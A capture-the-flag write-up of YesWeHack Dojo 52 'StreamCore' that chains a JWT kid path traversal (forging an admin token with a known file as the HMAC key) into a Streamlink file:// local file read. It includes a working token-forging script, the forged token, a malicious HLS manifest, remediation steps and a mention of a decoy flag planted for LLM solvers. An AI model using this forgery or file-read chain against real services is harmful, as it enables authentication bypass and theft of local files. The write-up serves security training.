TL;DR
This is a writeup of Dojo 52 on YesWeHack's Dojo platform, a challenge called StreamCore. It lets users submit an HLS manifest (filename + content) alongside a JWT token for auth, and two bugs chain into a full local file read:
- JWT
kidpath traversal, where the key-loading function reads the JWT header'skidfield before verifying the signature and drops it straight into a file path with no sanitization. Pointingkidat a file with known, predictable content (/tmp/README.txt, dropped bysetup.py) lets us recover the HMAC signing key and forge anisadmin: truetoken. - Streamlink LFI (CVE-2026-44353), where once authenticated, the attacker-controlled manifest is written to disk and opened via
streamlink.streams("hls://file:///..."). A segment path inside the manifest resolves relative tofile:///tmp/, so pointing it atflag.txtreads/tmp/flag.txtand reflects the first 1 MiB back to the page.
Full chain: forge token, submit malicious playlist, read arbitrary local file.
Context
- Challenge: Dojo 52, YesWeHack Dojo (monthly challenge)
- Target:
https://dojo-yeswehack.com/challenge-of-the-month/dojo-52 - Vulnerable parameter: POST
token - Bug type: Path Traversal (CWE-22), chained into Local File Read
- CVSS: 7.5 High,
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StreamCore is the app behind YesWeHack Dojo 52, a small service built to "handle HLS manifests more easily": you POST a filename, content (the manifest itself), and an admin token. If the token checks out, the backend writes the manifest to disk and opens it with streamlink, returning the first chunk of decoded data back to the page.
Vulnerability Analysis
1. JWT key injection via kid
def load_key(kid: str) -> bytes:
with open(f"/tmp/keys/{kid}.txt", "rb") as f: # kid is attacker-controlled, unsanitized
return f.read()
def verify_token(token: str) -> dict:
header = jwt.get_unverified_header(token) # header read BEFORE signature check
key = load_key(header.get("kid"))
return jwt.decode(token, key, algorithms=["HS256"])
The kid header is read before signature verification and concatenated directly into a filesystem path. The app's valid_filename regex only guards the filename field of the manifest, it never touches kid, so ../ sequences pass straight through.
The real signing key lives at /tmp/keys/<random>.txt, with a random name and random content, not guessable. But setup.py also drops a /tmp/README.txt with fixed, known content:
streamcore is a new project developed to handle u3m8 files more easily.
Setting kid = "../README" resolves to /tmp/README.txt, a key we already know. That's enough to forge a validly signed token with {"isadmin": true}.
2. Local file read via Streamlink
filename_path = f"/tmp/{filename}.m3u8"
open(filename_path, "w").write(content) # attacker controls the manifest
streams = streamlink.streams(f"hls://file:///{filename_path}")
chunk = streams["best"].open().read(1024 * 1024).decode("UTF-8") # returned to the page
Streamlink resolves relative playlist segments against the file:///tmp/ base URL. A segment entry pointing at flag.txt makes Streamlink open /tmp/flag.txt, and the first 1 MiB is decoded and rendered back on the page. This is CVE-2026-44353, affecting Streamlink <= 8.3.0.
Note: the base64 string sitting in the
Signaturefield of the source comments decodes (base64 to base32) toFLAG{LLM$_Ar3_Gr3a7_At_s0lv1ng}. That's a trap for automated or LLM solvers, not the real flag.
Exploitation (PoC)
Step 1: Forge the admin JWT
Use the known README content as the HMAC key:
import hmac, hashlib, base64, json
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
key = b"streamcore is a new project developed to handle u3m8 files more easily."
header = {"alg": "HS256", "typ": "JWT", "kid": "../README"} # -> /tmp/README.txt
payload = {"isadmin": True}
seg = b64(json.dumps(header, separators=(',', ':')).encode()) + b'.' + \
b64(json.dumps(payload, separators=(',', ':')).encode())
sig = b64(hmac.new(key, seg, hashlib.sha256).digest())
print((seg + b'.' + sig).decode())
Resulting token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.2Vto9Pu0mEwEbJYsIqX_rSOPrGdgS1JQuzAq0H5fRC0
Step 2: Deliver the malicious manifest
The Dojo's input pipeline (Regex Replace, then URL Encode, then json.loads(unquote(...))) accepts one raw JSON object via the INPUTS tab:
{
"filename": "pwn",
"content": "#EXTM3U\n#EXT-X-VERSION:3\n#EXT-X-TARGETDURATION:1\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:1.0,\nflag.txt\n#EXT-X-ENDLIST",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL1JFQURNRSJ9.eyJpc2FkbWluIjp0cnVlfQ.2Vto9Pu0mEwEbJYsIqX_rSOPrGdgS1JQuzAq0H5fRC0"
}
Flow: kid=../README, so README is used as the HMAC key, so the signature is valid, so isadmin=true passes the admin gate, so the manifest is written to /tmp/pwn.m3u8, so Streamlink reads the flag.txt segment as /tmp/flag.txt, and its content is rendered in the "decoded / first 1 MiB" panel.
Result:
FLAG{R3ad1ng_F1l3s_As_A_S3rvic3!}
Remediation
- Map
kidto keys through a fixed allow-list, never a filesystem path, and reject any unknownkid. - Pin the signing algorithm and prefer asymmetric signing (RS256/EdDSA) over shared HMAC secrets.
- Block
file://and internal targets for user-supplied manifests, and only allow vetted remote URLs. - Sandbox the ingest process with no access to secrets, and validate every field of the input, not just
filename.